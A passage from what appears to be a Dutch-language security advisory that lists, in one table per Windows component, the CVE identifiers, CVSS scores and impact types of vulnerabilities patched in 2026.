\n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | 